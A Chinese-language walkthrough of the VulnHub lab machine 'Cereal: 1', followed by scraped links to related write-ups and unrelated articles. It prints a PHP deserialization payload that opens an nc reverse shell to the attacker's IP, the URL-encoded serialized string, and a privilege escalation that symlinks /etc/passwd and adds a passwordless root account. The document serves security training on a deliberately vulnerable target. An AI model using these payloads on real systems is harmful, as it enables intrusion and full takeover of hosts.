准备:

攻击机:虚拟机kali、本机win10。

靶机:Cereal: 1,下载地址:https://download.vulnhub.com/cereal/Cereal.ova,下载后直接vbox打开即可。

知识点:/etc/passwd文件提权、dns解析、反序列化漏洞、子域名收集、软连接提权。

 信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.169。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.169,显示开放了21、22、80、3306、44441等端口,开启了http服务、ftp服务、ssh服务等。

 目录扫描:

使用gobuster进行目录扫描,命令:gobuster dir -u http://192.168.5.169 -x php,html,txt,zip,phar,ba -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现/blog目录、/admin目录、phpinfo.php文件。在扫描44441端口时未发现有效的信息。

访问:http://192.168.5.169/admin/返回的是一个登录页面,访问:http://192.168.5.169/blog/返回一个信息页面,返回的信息中告诉我们一个地址:http://cereal.ctf,猜测是要进行dns解析。

win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件,添加:192.168.5.169 cereal.ctf。然后访问:http://cereal.ctf/blog/,但是同样未发现可以利用的信息。

子域名信息收集:

使用gobuster进子域名扫描,发现secure.cereal.ctf,将192.168.5.169 secure.cereal.ctf添加到hosts文件中。

访问:http://secure.cereal.ctf:44441/网站,显示是一个可以进行ping测试的页面,尝试进行命令注入:192.168.5.150 | ifconfig,但是失败。

访问页面的源码信息,发现一些关于序列化的例子,猜测这里可能和反序列化有关,抓取数据包进行查看。

使用gobuster对子域名进行目录扫描,发现:/back_en目录,继续对该目录进行扫描,获得:index.php.bak文件。

访问index.php.bak文件并查看该源码信息,发现当$isValid = False时会对ip进行过滤检查,因此我们需要设置$isValid = True来绕过ip过滤。

反序列化漏洞获取shell:

因此根据我们的分析在序列化数据中写入我们的反弹shell,生成序列化代码。

<?php
class pingTest {
public $ipAddress = "127.0.0.1 & nc -e /bin/bash 192.168.5.150 6688";
public $isValid = True;
}
echo urlencode(serialize(new pingTest));
?>

O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A46%3A%22127.0.0.1+%26+nc+-e+%2Fbin%2Fbash+192.168.5.150+6688%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D

在bp抓取的数据包中替换序列化数据,然后在kali中开启对6688端口的监听,发送抓取的数据包,成功获得shell权限。

升级下shell权限,但是升级时发现不存在python,因此只能使用:SHELL=bash script -q /dev/null进行升级。

提权-信息收集:

尝试使用sudo -l查找可以执行命令,使用find / -perm -4000 -type f 2>/dev/null查找可疑文件,但是未发现可以利用的命令和可疑的特殊文件。

那就直接上传pspy64查看下靶机得进程信息,发现了一个可疑文件:/bin/bash /usr/share/scripts/chown.sh。

查看下/usr/share/scripts/chown.sh文件的信息,发现该文件的执行结果是赋予apache账户对/home/rocky/public_html/目录下文件的使用权限。可查看chown命令详解。

 软连接提权:

这里看到rocky账户具有/etc/passwd文件的权限,因此我们可疑将该文件进行软连接到/home/rocky/public_html/目录,使apache账户也具有该文件的权限。

但是在尝试修改该文件时左右键无法正常使用,因此我们只能新建一个具有root权限的账户,复制root账户的信息并删除掉占位符x:upfine::0:0:root:/root:/bin/bash写入到passwd文件中。

获得root权限后在/root目录下发现proof.txt文件,读取该文件成功获得flag值。

vulnhub靶场之CEREAL: 1的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. ubuntu 输入法IBUS 输入不成功问题

    ubuntu 输入法IBUS 输入不成功问题 只需要在 输入如下代码 -Xms128m -Xmx750m -XX:ReservedCodeCacheSize=240m -XX:+UseConcMark ...

  2. Linux网络通信(TCP套接字编写,多进程多线程版本)

    预备知识 源IP地址和目的IP地址 IP地址在上一篇博客中也介绍过,它是用来标识网络中不同主机的地址.两台主机进行通信时,发送方需要知道自己往哪一台主机发送,这就需要知道接受方主机的的IP地址,也就是 ...

  3. Halocn双目相机标定

    [Halcon]Halcon双目标定 相机标定(4)---基于halcon的双目立体视觉标定 双目立体视觉:四(双目标定matlab,图像校正,图像匹配,计算视差,disparity详解,) 双目测距 ...

  4. 思维分析逻辑 3 DAY

    目录 指标分析 指标选择原则 指标体系建立 步骤 流量分析 渠道分析(从哪来) 常见渠道及渠道分类 渠道推广过程 渠道的指标 渠道分析方法 转化及价值分析(经过什么?产生什么价值?) 漏斗分析 功能模 ...

  5. Go语言核心36讲50

    作为拾遗的部分,今天我们来讲讲与Go程序性能分析有关的基础知识. Go语言为程序开发者们提供了丰富的性能分析API,和非常好用的标准工具.这些API主要存在于: runtime/pprof: net/ ...

  6. SQL-GROUP BY语句在MySQL中的一个错误使用被兼容的情况

    首先创建数据库hncu,建立stud表格. 添加数据: create table stud(sno varchar(30) not null primary key,sname varchar(30) ...

  7. 基于k8s的发布系统的实现

    综述 首先,本篇文章所介绍的内容,已经有完整的实现,可以参考这里. 在微服务.DevOps和云平台流行的当下,使用一个高效的持续集成工具也是一个非常重要的事情.虽然市面上目前已经存在了比较成熟的自动化 ...

  8. MinioAPI浅入及问题

    MinioAPI浅入及问题 bucketExists(BucketExistsArgs args) boolean 判断桶是否存在 返回boolean boolean gxshuju = minioC ...

  9. Day26:内部类的详解

    内部类 1.1内部类概述 内部类:就是在一个类中定义另外一个类. 例如我们在A类中定义一个B类,那么B类就是A类的内部类,A则是B的外部类. 好比我们的手机是一个类,而手机内部的零件又属于一个类. 内 ...

  10. java 如何正确使用接口返回对象Result

    1. Result的使用 Result的使用,是java项目中开发接口的必备,它经常被我们用作接口的返回对象,方便前端或者其他程序的远程调用后处理业务.它一般包括以下几个属性: code:一般根据系统 ...